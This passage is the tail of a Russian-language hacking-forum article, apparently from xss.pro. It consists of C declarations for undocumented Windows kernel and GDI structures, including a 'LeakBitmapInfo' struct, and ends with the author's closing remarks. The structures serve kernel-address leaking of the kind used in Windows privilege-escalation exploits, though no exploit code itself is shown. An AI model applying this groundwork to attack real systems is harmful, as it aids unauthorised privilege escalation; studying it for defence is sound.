SystemProcessorPerformanceInformation = 8,
SystemModuleInformation = 11,
SystemInterruptInformation = 23,
SystemExceptionInformation = 33,
SystemRegistryQuotaInformation = 37,
SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG NumberOfModules;
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
typedef struct _PROCESS_BASIC_INFORMATION
{
LONG ExitStatus;
PVOID PebBaseAddress;
ULONG_PTR AffinityMask;
LONG BasePriority;
ULONG_PTR UniqueProcessId;
ULONG_PTR ParentProcessId;
} PROCESS_BASIC_INFORMATION, * PPROCESS_BASIC_INFORMATION;
// Partial PEB
typedef struct _PEB {
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
union
{
BOOLEAN BitField;
struct
{
BOOLEAN ImageUsesLargePages : 1;
BOOLEAN IsProtectedProcess : 1;
BOOLEAN IsLegacyProcess : 1;
BOOLEAN IsImageDynamicallyRelocated : 1;
BOOLEAN SkipPatchingUser32Forwarders : 1;
BOOLEAN SpareBits : 3;
};
};
HANDLE Mutant;
PVOID ImageBaseAddress;
PVOID Ldr;
PVOID ProcessParameters;
PVOID SubSystemData;
PVOID ProcessHeap;
PRTL_CRITICAL_SECTION FastPebLock;
PVOID AtlThunkSListPtr;
PVOID IFEOKey;
union
{
ULONG CrossProcessFlags;
struct
{
ULONG ProcessInJob : 1;
ULONG ProcessInitializing : 1;
ULONG ProcessUsingVEH : 1;
ULONG ProcessUsingVCH : 1;
ULONG ProcessUsingFTH : 1;
ULONG ReservedBits0 : 27;
};
ULONG EnvironmentUpdateCount;
};
union
{
PVOID KernelCallbackTable;
PVOID UserSharedInfoPtr;
};
ULONG SystemReserved[1];
ULONG AtlThunkSListPtr32;
PVOID ApiSetMap;
ULONG TlsExpansionCounter;
PVOID TlsBitmap;
ULONG TlsBitmapBits[2];
PVOID ReadOnlySharedMemoryBase;
PVOID HotpatchInformation;
PVOID* ReadOnlyStaticServerData;
PVOID AnsiCodePageData;
PVOID OemCodePageData;
PVOID UnicodeCaseTableData;
ULONG NumberOfProcessors;
ULONG NtGlobalFlag;
LARGE_INTEGER CriticalSectionTimeout;
SIZE_T HeapSegmentReserve;
SIZE_T HeapSegmentCommit;
SIZE_T HeapDeCommitTotalFreeThreshold;
SIZE_T HeapDeCommitFreeBlockThreshold;
ULONG NumberOfHeaps;
ULONG MaximumNumberOfHeaps;
PVOID* ProcessHeaps;
PVOID GdiSharedHandleTable;
} PEB, * PPEB;
typedef struct _GDICELL {
LPVOID pKernelAddress;
USHORT wProcessId;
USHORT wCount;
USHORT wUpper;
USHORT wType;
LPVOID pUserAddress;
} GDICELL, * PGDICELL;
typedef struct _SERVERINFO {
DWORD dwSRVIFlags;
DWORD cHandleEntries;
WORD wSRVIFlags;
WORD wRIPPID;
WORD wRIPError;
} SERVERINFO, * PSERVERINFO;
typedef struct _USER_HANDLE_ENTRY {
void* pKernel;
union
{
PVOID pi;
PVOID pti;
PVOID ppi;
};
BYTE type;
BYTE flags;
WORD generation;
} USER_HANDLE_ENTRY, * PUSER_HANDLE_ENTRY;
typedef struct _SHAREDINFO {
PSERVERINFO psi;
PUSER_HANDLE_ENTRY aheList;
ULONG HeEntrySize;
ULONG_PTR pDispInfo;
ULONG_PTR ulSharedDelts;
ULONG_PTR awmControl;
ULONG_PTR DefWindowMsgs;
ULONG_PTR DefWindowSpecMsgs;
} SHAREDINFO, * PSHAREDINFO;
typedef struct _LeakBitmapInfo {
HBITMAP hBitmap;
PUCHAR pBitmapPvScan0;
} LeakBitmapInfo, * pLeakBitmapInfo;
typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
typedef NTSTATUS(NTAPI* _RtlGetVersion)(
LPOSVERSIONINFOEXW lpVersionInformation
);
typedef NTSTATUS(NTAPI* _NtQueryInformationProcess)(
HANDLE ProcessHandle,
DWORD ProcessInformationClass,
PVOID ProcessInformation,
DWORD ProcessInformationLength,
PDWORD ReturnLength
);
Итог
Это моя первая, достойная авторская статья, а не просто заметка. Так что прошу строго не судить.
Если вы с чем-то не согласны, или в статье есть ошибка, отпишите мне, я отредактирую.
Azrv3l cпециально для xss.pro
Последнее редактирование:
